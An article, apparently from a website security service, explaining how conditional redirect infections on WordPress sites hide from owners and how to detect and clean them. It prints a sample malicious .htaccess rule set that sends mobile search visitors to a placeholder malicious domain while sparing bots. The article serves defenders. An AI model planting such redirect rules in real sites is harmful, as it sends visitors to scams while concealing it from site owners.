“It works fine for me.” It is the phrase we hear most often when a site is infected with a conditional redirect. Visitors end up on scam, lottery or pharmacy pages, but the owner, the agency and even some scanners see nothing. That is no accident: these redirects are built precisely to stay hidden from the people who run the site.
The typical conditions
A conditional redirect fires only when the request meets certain criteria, chosen to hit real visitors and avoid everyone else:
- the visitor comes from a search engine or a social network, checked through the
Refererheader; - uses a smartphone, recognized from the user agent;
- is not logged in to WordPress, so is not an administrator or an editor;
- is not a crawler such as Googlebot, so the search engine does not notice;
- has not already been redirected, thanks to a cookie that lasts days or weeks.
Someone who opens the site by typing the address on the office computer, logged in as an administrator, meets none of these conditions.
In the .htaccess file
On Apache and LiteSpeed the redirect can live entirely in an .htaccess file, with no PHP code at all:
RewriteEngine On
RewriteCond %{HTTP_REFERER} (google|bing|yahoo|facebook)\. [NC]
RewriteCond %{HTTP_USER_AGENT} (android|iphone|mobile) [NC]
RewriteCond %{HTTP_USER_AGENT} !(googlebot|bingbot) [NC]
RewriteRule ^(.*)$ https://esempio-malevolo.invalid/?s=%{HTTP_HOST} [R=302,L]
The rules are often added at the top of the file, before the WordPress ones, or preceded by many blank lines. And not only in the main folder: every subfolder can have its own .htaccess, and all of them need to be checked with find . -name .htaccess.
In PHP code and in the database
The PHP variants are more flexible: they can check whether the user is logged in, use a list of IP addresses to exclude, and change destination over time. They are found at the bottom of the theme’s functions.php, in a modified plugin, in a must-use plugin, or in JavaScript injected into the database, which performs the redirect in the browser after checking the same conditions.
How to reproduce it
To see the redirect you have to present yourself to the site as the intended victim. With curl you can simulate the user agent and the referrer, with no cookies and no session:
curl -sI \
-A "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 Mobile Safari/537.36" \
-e "https://www.google.com/" \
https://www.esempio.it/articolo/
A 301 or 302 response to an unrelated domain confirms a server-side redirect. If the response is normal, the redirect may be in JavaScript: in that case you need a browser in private mode, with mobile device emulation, arriving from a Google search. Even then, a cookie or an IP address filter can hide it: this is why, when readers report a problem you cannot reproduce, the report should be taken seriously.
The cleanup
Removing the visible rules is not enough if the mechanism that wrote them is still active. Besides the .htaccess files and the PHP code, you need to check the database, scheduled tasks and files that get recreated. In our case study on the publisher site the redirect was stored in a database option and reinserted by SQL triggers: an example of how deep it can hide.